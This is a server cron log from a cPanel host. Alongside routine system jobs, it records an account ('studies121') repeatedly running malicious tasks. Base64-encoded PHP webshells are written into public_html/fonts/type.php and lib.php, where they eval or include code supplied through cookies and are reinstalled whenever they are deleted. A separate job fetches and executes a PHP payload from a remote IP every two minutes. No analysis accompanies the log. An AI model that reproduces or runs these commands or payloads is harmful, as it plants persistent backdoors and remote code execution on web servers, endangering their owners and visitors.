Sep  4 22:05:01 ip-184-168-122-23 CROND[28115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:06:01 ip-184-168-122-23 CROND[28200]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:06:01 ip-184-168-122-23 CROND[28202]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:06:01 ip-184-168-122-23 CROND[28203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:06:01 ip-184-168-122-23 CROND[28204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:06:01 ip-184-168-122-23 CROND[28205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:07:01 ip-184-168-122-23 CROND[28303]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:07:01 ip-184-168-122-23 CROND[28304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:07:01 ip-184-168-122-23 CROND[28306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:07:01 ip-184-168-122-23 CROND[28305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:08:01 ip-184-168-122-23 CROND[28472]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:08:01 ip-184-168-122-23 CROND[28476]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:08:01 ip-184-168-122-23 CROND[28475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:08:01 ip-184-168-122-23 CROND[28478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:08:01 ip-184-168-122-23 CROND[28477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:09:01 ip-184-168-122-23 CROND[28556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:09:01 ip-184-168-122-23 CROND[28557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:09:01 ip-184-168-122-23 CROND[28555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:09:01 ip-184-168-122-23 CROND[28558]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 22:09:01 ip-184-168-122-23 CROND[28559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:10:02 ip-184-168-122-23 CROND[28649]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 22:10:02 ip-184-168-122-23 CROND[28650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:10:02 ip-184-168-122-23 CROND[28651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:10:02 ip-184-168-122-23 CROND[28652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:10:02 ip-184-168-122-23 CROND[28654]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 22:10:02 ip-184-168-122-23 CROND[28655]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 22:10:02 ip-184-168-122-23 CROND[28658]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:10:02 ip-184-168-122-23 CROND[28653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:11:01 ip-184-168-122-23 CROND[28742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:11:01 ip-184-168-122-23 CROND[28743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:11:01 ip-184-168-122-23 CROND[28744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:11:01 ip-184-168-122-23 CROND[28745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:12:01 ip-184-168-122-23 CROND[28820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:12:01 ip-184-168-122-23 CROND[28822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:12:01 ip-184-168-122-23 CROND[28821]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:12:01 ip-184-168-122-23 CROND[28823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:12:01 ip-184-168-122-23 CROND[28824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:13:01 ip-184-168-122-23 CROND[29000]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:13:01 ip-184-168-122-23 CROND[29001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:13:01 ip-184-168-122-23 CROND[29002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:13:01 ip-184-168-122-23 CROND[29004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:14:01 ip-184-168-122-23 CROND[29082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:14:01 ip-184-168-122-23 CROND[29083]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:14:01 ip-184-168-122-23 CROND[29085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:14:01 ip-184-168-122-23 CROND[29088]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:14:01 ip-184-168-122-23 CROND[29089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:15:01 ip-184-168-122-23 CROND[29179]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  4 22:15:01 ip-184-168-122-23 CROND[29180]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:15:01 ip-184-168-122-23 CROND[29182]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 22:15:01 ip-184-168-122-23 CROND[29185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:15:01 ip-184-168-122-23 CROND[29183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:15:01 ip-184-168-122-23 CROND[29186]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 22:15:01 ip-184-168-122-23 CROND[29187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:16:01 ip-184-168-122-23 CROND[29274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:16:01 ip-184-168-122-23 CROND[29273]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:16:01 ip-184-168-122-23 CROND[29275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:16:01 ip-184-168-122-23 CROND[29277]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 22:16:01 ip-184-168-122-23 CROND[29276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:16:01 ip-184-168-122-23 CROND[29278]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:17:01 ip-184-168-122-23 CROND[29361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:17:01 ip-184-168-122-23 CROND[29360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:17:01 ip-184-168-122-23 CROND[29362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:17:01 ip-184-168-122-23 CROND[29363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
